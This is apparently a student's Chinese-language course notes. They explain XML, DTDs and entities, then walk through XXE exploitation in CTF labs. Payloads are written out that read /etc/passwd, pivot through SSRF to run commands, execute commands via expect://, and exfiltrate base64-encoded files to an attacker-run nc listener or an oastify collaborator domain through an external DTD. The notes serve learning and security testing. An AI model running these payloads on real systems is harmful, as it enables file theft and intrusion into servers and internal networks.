XML
xml是一种标记语言(标记语言可以理解为给数据贴标签,做分类的语言,就像是姓名数据我们可以贴上名字的标签)
XML 指可扩展标记语言(Extensible Markup Language),是一种与HTML类似的纯文本的标记语言,设计宗旨是为了传输数据,而非显示数据。是W3C的推荐标准。
XML会把数据结构化后传输给对方让对方在结构化的数据中读取
而且标签没有被预定义,需要自行来定义标签
<?xml version="1.0" encoding="utf-8" ?>这行是必须要写的,且必须放在首行(前面有注释都不行哦)
标签是成对存在的,记得嵌套正确
<?xml version="1.0" encoding="utf-8" ?> <!--Users是一个根标签,必须只能有一个,而Users里面的子属性可以有多个--> <!--根标签名字随意取,中文也是可以的--> <Users> <user id="1"> <name>张三</name> <age>18</age> <address>广州</address> </user> <userAttribute>都是爱学习的人</userAttribute> <user id="2"> <name>李四</name> <age>25</age> <address>哈尔滨</address> </user> <!--以下是带有大于号小于号等特殊字符的写法--> <special> <![CDATA[ 5 > 2 && 3 < 5 ]]> </special> <!--特殊字符用法二--> <special> 5 > 2 && 3 < 5 </special> </Users>实体 | 符号 |
< | < |
> | > |
& | & |
" | " |
' | ' |
XML和HTML的区别
XML的功能是结构化的描述存储和传输数据,而且XML的标签名是随便命名的,它要用于传输和存储数据,所以像用户提交用户名密码的验证时可以使用XML格式来提交的,xml的焦点是数据的内容
HTML是可以用于开发的,功能是定义网页的结构加上承载要展示的数据,而且HTML的标签是由特定的意义的和特定的功能的,HTML是用来显示数据的,HTML的焦点在于数据的外观
总的来说XML 管 “数据是啥”,HTML 管 “数据咋显示”;XML 的标签自己定,HTML 的标签有固定用法;XML 语法不能错,HTML 写错也能凑合用。
写XML的注意事项
在 XML 中,省略关闭标签是非法的。所有元素都必须有关闭标签,XML中的标签都是成对出现的
XML必须正确地嵌套
XML标签对大小写敏感
XML文档必须要有根元素(根元素可以根据题目要求来但是跟下面的子节点是要根据要求来命名)
头部声明
实用声明
在 XML 中,有5 个预定义的实体引用
例如:
<?xml version="1.0" encoding="UTF-8"?> <root> <man>1 < 2</man> </root>使用php解析xml
读取XML文档的两种方法
1,使用simplexml_load_file()读取XML文档
2,使用DOMDocument读取XML文档
php页面调用xml
<?php $xml=simplexml_load_file('student.xml'); print_r($xml);<?xml version="1.0" encoding="UTF-8"?> <root> <man> <name>程咬金</name> <age>299</age> </man> <man> <name>赵云</name> <age>2021</age> </man> </root>访问index.php就会显示出来student.php中的内容
SimpleXMLElement Object ( [man] => Array ( [0] => SimpleXMLElement Object ( [name] => 程咬金 [age] => 299 ) [1] => SimpleXMLElement Object ( [name] => 赵云 [age] => 2021 ) ) )
如果只是单单想调用程咬金这个名字就可以像反序列化一样
<?php $xml=simplexml_load_file('student.xml'); echo $xml->man[0]->name;使用DOMDocument读取XML文档
DOMDocument()是一个类,使用前需要将其实例化成为对象,实例化对象后调用对象里的成员方法
<?php $xml=include('student.xml'); $doc=new DOMDocument(); $doc->loadXML($xml); //使用loadXML()成员方法来调用文件 printf($doc->saveXML()); //调用saveXML()成员方法来读取xml文件的内容 ?>还可以这样读取:
<?php $doc=new DOMDocument(); $doc->load("student.xml"); printf($doc->saveXML()); ?>混合调用
这个方法和上面使用$xml=simplexml_load_file('student.xml');导入的内容的相同的
然后下面就可以使用echo $xml->man[0]->name;来得到想要的名字了
DTD声明介绍
Document Type Definition
XML 是一种可以自己发明标签的格式(比如你可以自己写<书名>、<作者>这种标签) 但而DTD 就是用来规定 “这些自定义标签能不能用、怎么用” 的规则书。 比如你定义了<书名>,DTD 会明确:这个标签里能不能放文字?能不能嵌套其他标签?直接写在 XML 文件里:把规则和 XML 内容写在一起; 单独存成一个文件,让 XML 去引用它:比如写个book.dtd文件存规则,然后在 XML 里写一句 “我要遵守这个文件的规则”。 简单说,DTD 就是 XML 的 “语法检查器 + 结构说明书”,防止你乱写标签把 XML 搞乱内部的DTD声明
没有DTD时xml文件可以随意定义添加标签
加上DTD就可以来约束xml的内容,所以DOCTYPE用来约束XML规则
声明一般写在第二行 格式:<!DOCTYPE 根元素[元素声明]>
<!DOCTYPE root [ 跟标签,也就是根节点 <!ELEMENT root (man)> 定义根节点下面有一个man的"枝"节点 <!ELEMENT man (name,age,high)> 定义man这个枝节点下面有name,age,high这三个"叶"节点 <!ELEMENT name(#PCDATA)>]> 而且给“叶”节点定义PCDATA,意思是name的内容自能是文本文档的格式但是这个并不是强制性的,如果你不按照要求来写还是可以显示内容,但是会对错的部分进行高亮显示
定义实体可以理解为定义一个变量
外部引入DTD文件
这里就有一个漏洞,就是如果引用的不是1.dtd文件而是其他文件,那就会读取到其他文件中的内容,可以使用xml的内部实体或外部实体给读取的内容展示出来
XML几种实体介绍
实体就是 XML 里的 “快捷引用”—— 你可以把一段重复的内容、或者一个外部文件,先给它起个 “代号”(实体名),之后写 XML 的时候,直接用这个代号代替内容就行,解析 XML 的程序会自动把代号替换成对应的内容。 举两个例子更清楚: 替代文本的实体(比如重复写 “《XML 入门》” 太麻烦): 先定义实体:<!ENTITY book "《XML入门》"> 用的时候写:<书名>&book;</书名> 解析后会变成:<书名>《XML入门》</书名> 引用外部文件的实体(比如要插入一个说明文档): 先定义实体:<!ENTITY note SYSTEM "说明.txt"> 用的时候写:<备注>¬e;</备注> 解析后会自动把 “说明.txt” 里的内容填到<备注>里。字符实体
命名实体
可以按照变量来理解
在<!ENTITY writer "benben"> 中writer可以理解为变量的名字,benben是变量的内容
输出的是变量的内容
迭代调用:
这样和<author>&writer;©right;</author>是一样的意思
外部实体
参数实体
我们可以写一个% area来代替name,street,pincode,city
那么下面的name,street,pincode,city都可以写成% area 如上图
XXE漏洞成因介绍
XXE(XML 外部实体注入)是 XML 使用过程中出现的风险问题—— 简单说,就是坏人利用 “外部实体” 的功能,偷偷让 XML 程序去读取服务器上的文件、甚至执行恶意操作。SYSTEM:引用服务器自己电脑里的文件(比如本地的C:\密码.txt); PUBLIC:引用其他服务器上的公共文件(比如某网站的http://黑客网站/恶意代码.dtd)。DTD 是定义 XML 结构的规则书,而外部实体是写在 DTD 里的—— 如果程序没限制 DTD 里的外部实体,坏人就能在 DTD 里写恶意的外部实体,让 XML 解析器去读敏感文件(比如服务器的密码、配置),这就是 XXE 漏洞 坏人在 DTD 里写:<!ENTITY bad SYSTEM "file:///C:/服务器密码.txt"> 让 XML 解析这个 DTD,用&bad;引用这个实体 程序就会把 “服务器密码.txt” 的内容读出来,坏人就能拿到敏感信息例题:
<?php error_reporting(0); libxml_disable_entity_loader(false); $xml = file_get_contents('php://input'); //读取 HTTP 请求体中的原始数据并赋值给变量$xml if(isset($xml)){ $dom = new DOMDocument(); //实例化 DOMDocument 类,创建 XML 解析对象并使用DOMDocument()读取xml结构 $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD); //使用loadXML来加载xml中的内容 $creds = simplexml_import_dom($dom); //使用simplexml_import_dom()来调用$dom $benben = $creds->admin; //将$creds中的admin节点的值赋值给$benben,并输出 echo $benben; } highlight_file(__FILE__); ?> php://input 这个 PHP 内置流的读取规则直接决定了 “必须用 POST(或 PUT/PATCH 等)来提交”根节点<root></root>可以随意起名字,但是题目要求的必须是<admin></admin>中的内容,所以这个名字不能随意改变,必须是admin
增加DTD声明引起漏洞
调用外部实体来读取内部文件内容
<!DOCTYPE admin [<!ENTITY ben SYSTEM "file:///etc/passwd">]><root><admin>&ben;</admin></root>
不同程序支持的协议不同
php支持的协议多一些,但是需要一定的拓展支持
xxe漏洞的利用
XXE使用外部实体来读取文件
<!DOCTYPE root [ <!ENTITY ben SYSTEM "file:///etc/passwd"> ]>
如何判断是否存在XXE漏洞
测试是否存在XXE漏洞
参数实体及http协议XXE利用
有过滤的XXE
正常,输入用户名,密码
使用外部实体来读取文件,但是发现是有过滤的
发现是过滤了file://
所以可以尝试命名实体,命名实体只能用在DTD文档内
这不能使用file://,可以使用命名实体,将file://放到1.dtd中
然后到web中下载1.dtd:http://x.x.x.x/1.dtd 然后读取文件中的内容放到% dazhuang中,然后就可以使用file:///etc/passwd 了
使用kali搭建HTTP服务
<!ENTITY ben SYSTEM "file:///etc/passwd">
<!DOCTYPE user [ <!ENTITY % dazhuang SYSTEM "http://kaliip/1.dtd">% dazhuang;]><user><username>&ben;</username><password>admin</password></user>利用XXE进行SSRF利用
攻击方式:攻击者构造一个特殊的 XML payload,让 “主机 A”(通过 XXE 的 DTD)向 “主机 B” 发起 HTTP 请求,从而绕过 “攻击者无法直接访问主机 B” 的限制。
攻击者在外网是无法访问主机B来利用主机B的命令执行漏洞,但是攻击者可以访问主机A,然后攻击者就利用A的XXE漏洞为跳板(该漏洞天然具备SSRF功能)来触发A的SSRF行为,让主机A来访问主机B然后利用主机B的命令执行漏洞获得flag
打开靶场,输入用户名,密码,然后抓包
抓包后写入<!DOCTYPE root [ <!ENTITY ben SYSTEM "http://10.1.2.3"> ]>而http://10.1.2.3是主机B的IP
执行命令<!DOCTYPE root [ <!ENTITY ben SYSTEM "http://10.1.2.3/?cmd=ls"> ]>
<!DOCTYPE root [ <!ENTITY ben SYSTEM "http://10.1.2.3/?cmd=cat+flag"> ]>
post提交一般会进行url编码和解码,cat flag中间有空格一般会读取不出来内容,所以空格要使用+或%20来代替
XXE利用php伪协议读取文件
php伪协议相比较file伪协议,php伪协议可以对读取出来的文件内容进行编码
例题:
读取主机B的源代码
打开靶机,输入用户名密码,抓包
输入
<!DOCTYPE root [<!ENTITY ben SYSTEM
"php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
来读取本地的/etc/passwd,将内容进行base64加密输出
然后进行解码
使用SSRF读取主机B上的文件的源代码
<!DOCTYPE root [ <!ENTITY ben SYSTEM "php://filter/read=convert.base64-encode/resource=http://10.1.2.3/?cmd=cat+index.php">]>
不用base64编码直接用file协议读取的话index.php会直接被解析掉,看不到源代码
总结,php伪协议加上XXE最主要的作用就是读取源代码
利用expect扩展进行命令执行
expect:// 是 PHP 中高危的伪协议,核心能力是交互式命令执行, 但依赖expect扩展(实际环境中不常见)。 在 CTF 或渗透测试中,若遇到目标服务器启用了该扩展,可直接利用它执行任意命令、读取敏感文件,甚至结合 XXE/SSRF 突破网络限制攻击内网。使用条件
安装了expect扩展: PHP 默认不包含expect扩展,需要手动编译安装(所以实际环境中较少见,但 CTF / 靶场中常作为考点)。 allow_url_fopen开启: PHP 配置中allow_url_fopen = On(默认开启),允许通过伪协议访问资源。例题:
打开靶机,输入用户名,密码,然后进行抓包
添加<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://id">]>
为XML外部实体提供伪URI的引用,PHP将执行id并返回外部实体替换命令的输出
让目标服务器的 PHP,通过 XML 解析这个指令,自动执行系统命令id(查看当前用户身份),并把执行结果填到 XML 里返回
也可以进行命令执行
输入<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://ls">]>
这七个字符会被类似为过滤了这七个字符
无回显XXE带外数据
处理无回显XXE的步骤
1,验证XXE漏洞是否存在
2,带外数据,就是将读取到的文件显示出来
利用DNSlog来验证是否存在XXE漏洞
输入
<!DOCTYPE root 「<!ENTITY % file SYSTEM
"http://gj3m16jagyoa1hn7hgo699j06rch06.burpcollaborator.net">%file;]>
定义参数实体file,并直接调用%file;执行http://协议,访问网站
是通过http://这个伪协议来访问域名,从而让DNS来解析这个域名,这样就会有DNS的解析记录,这样就能验证是否存在XXE漏洞,有记录就是有XXE漏洞,没有记录就是没有xxe漏洞
DNSLog的原理是利用DNS协议的特性,将需要收集的信息编码成DNS查询请求,然后将请求发送到DNS服务器,最后通过DNS服务器的响应来获取信息。
还可以使用Burp Suite中的Collaborator来进行查看DNSLog信息还能接收HTTP请求数据外带内容
输入<!DOCTYPE root [<!ENTITY ben SYSTEM "file://etc/passwd">]>,但是没有回显
到Collaborator中,生成payload,复制
到Repeater中使用参数实体ben,并直接调用%file;执行http://协议,而伪协议的内容为Collaborator中生成的payload,这样就能通过Collaborator中的立即轮询来查询是否进行了DNS解析,进行解析就代表有XXE漏洞
2,也可以在kali开启http服务监听端口抓取HTTP请求GET链接内容,使用nc -lvp 7777
在Repeater中将<!DOCTYPE root [<!ENTITY % ben SYSTEM "http://rtovfmclgm5oj0l8btnirb2u7ldd16pv.oastify.com">%ben;]>改为<!DOCTYPE root [<!ENTITY % ben SYSTEM "http://kali的IP地址:7777">%ben;]>
内部DTD禁止参数实体内再次调用参数实体
在% send参数实体中调用% file参数实体是不可以的
外部DTD可以重复调用参数实体,允许参数实体调用其他参数实体
在kali中存入1.dtd的文档,然后使用参数实体% dazhuang<!ENTITY % dazhuang SSTEM "http://kali的ip/1.dtd">%dazhuang; 来下载kali中的1.dtd文档,从而解析1.dtd中的内容,最终实现file协议的调用
带外数据
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://kali的ip:7777/?p=%file;'>">
用php伪协议把"file:///etc/passwd"的结果进行base64编码然后赋值给参数实体file
用http伪协议把"%file;"的值通过get提交给参数实体send
参数实体int包含参数实体send
攻击者在自己的7777端口(用nc -lvp 7777监听)收到请求,从 URL 参数中提取p的值,解码后拿到/etc/passwd的内容。
%是%,为什么要使用%来代替%,这是因为内部DTD禁止参数实体内再次调用参数实体,使用%就不会认为是参数实体内再次调用参数实体
上面是1.dtd的内容
在bp中写入payload:
<!DOCTYPE conver [<!ENTITY % remote SYSTEM "http://192.168.3.110/1.dtd">%remote; %int;
%send;]>
先触发参数实体remote来从kali上下载1.dtd,然后触发int来调用出来<!ENTITY % send SYSTEM 'http://kali的ip:7777/?p=%file;'>这段话,然后触发参数实体send来调用传入到kali的参数实体file的内容
触发参数实体remote后是这样的
触发int
触发参数实体send
在%send;内部调用%file;(包含file:///etc/passwd的信息)并通过GET提交给192.168.3.110:7777
如果靶机可以进行DNS域名解析就可以将1.dtd的内容改为
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ozrsljiimjblpxr5hqtfx88rdija74vt.oastify.com/?p=%file;'>">
http://ozrsljiimjblpxr5hqtfx88rdija74vt.oastify.com/中的ozrsljiimjblpxr5hqtfx88rdija74vt.oastify.com是从bp中的Collaborator中获取的,这样就不需要进行端口监听,就可以直接在bp的
然后查看Collaborator中的记录,查看http,就会获得/etc/passwd/的内容
xinclude
“xinclude” 是对 “XML Include” 的简称 XInclude 是 XML 标准的一部分,用于在一个 XML 文档中包含另一个 XML 文档的内容。它类似于编程中的"引入"或"导入"功能,有助于更好地组织和重用 XML 内容。
基本语法:
首先需要声明 XInclude 命名空间,然后使用 <xi:include> 元素引用外部文件:
<!-- 声明命名空间 --> <root xmlns:xi="http://www.w3.org/2001/XInclude"> <!-- 包含外部 XML 文件 --> <xi:include href="header.xml"/> <!-- 文档主体内容 --> <content>这是主文档内容</content> <!-- 包含另一个文件 --> <xi:include href="footer.xml"/> </root>
xmlns:xi="http://www.w3.org/2001/XInclude这段是必要写的内容
它和 PHP 的include、Python/Java 的import本质是同一类技术 ——“文件 / 模块包含”
xinclude是 XML 的标准机制:允许在一个 XML 文档中 “包含另一个 XML 文件的内容”;
文件包含可以使代码更整洁,我们可以将定义的功能函数放在function.php中,再在需要使用功能函数的文件中使用include包含function.php,这样就避免了重复几余的函数定义,同样可以增加代码的可读性
<?php
include('/file.php’)
把文件路径下的文件读取出来并引用所定义的函数或者变量
调用templates/目录下的文件footer.xml,可以是代码更加整洁,增加代码的可读性
与外部实体的区别
外部实体
无法成为一个成熟的独立的 XML 文档,因为它既不允许独立的 XML 声明,也不允许 Doctype 声明。
简单来说就是起外号,给一段内容起一个外号,当叫这个外号时就知道是在调用外号对应的内容
xinclude
可以调用一个独立完整的XML内容,
与PHP文件包含的区别
php文件包含
include直接调用函数<?php include('/file.php')
xinclude
使用时前面需要做一个前缀声明
<root xmIns:xi="http://www.w3.org/2001/XInclude">
可能存在的漏洞
路径遍历攻击:恶意构造路径访问敏感文件
服务器端请求伪造(SSRF):通过URL访问内网资源
拒绝服务(DoS):超大文件或嵌套包含耗尽资源
恶意内容注入:包含被篡改的文件
例题:
读取出来/etc/passwd/文件内容
使用SVG进行XXE漏洞利用
SVG文件
SVG 是 “Scalable Vector Graphics(可缩放矢量图形)” 的缩写,是基于 XML 标记语言的二维矢量图形格式,同时也是一种 “图片格式”—— 但和 JPG、PNG 等 “位图格式” 有本质区别。
SVG 的内容是纯文本的 XML 代码,而非像 JPG 那样的二进制数据。例如一个简单的 SVG 图形代码(描述红色圆形):
<svg width="100" height="100" xmlns="http://www.w3.org/2000/svg"> <circle cx="50" cy="50" r="40" fill="red" /> </svg>这种 “文本化” 是 SVG 所有特性的基础。
作为一个基于文本的开放网络标准,SVG 能够优雅而简洁地渲染不同大小的图形,并和 CSS、DOM、JavaScript 和 SMIL 等其他网络标准无缝衔接。本质上,SVG 相对于图像,就好比 HTML相对于文本。
SVG 图像及其相关行为被定义于 XML 文本文件之中,这意味着可以对它们进行搜索、索引、编写脚本以及压缩。此外,这也意味着可以使用任何文本编辑器和绘图软件来创建和编辑它们。
通过SVG文件进行XXE漏洞利用,从而读取对方文件。
例题:
SVG文件
<?xml version="1.0" standalone="yes"?> <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:flag.txt" > //读取了flag.txt文件 ]> <svg width="500px" height="100px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <text font-family="Verdana" font-size="16" x="10" y="40">&xxe;</text> //然后使用图片的形式展示出来 </svg>上传SVG文件,会获得flag
以上是我的看橙子科技的xxe课笔记
学习xxe一定要想学习xml,了解一些基本的xml的知识,否则是会听不懂后面的课,不理解payload的含义,xml就像是xxe的地基,一定要将地基打牢在学习xxe,其实我感觉在学习xxe前可以先学习php反序列化,或者了解一下也会对学习xxe有一个更好的理解。以上仅仅是个人的学习感受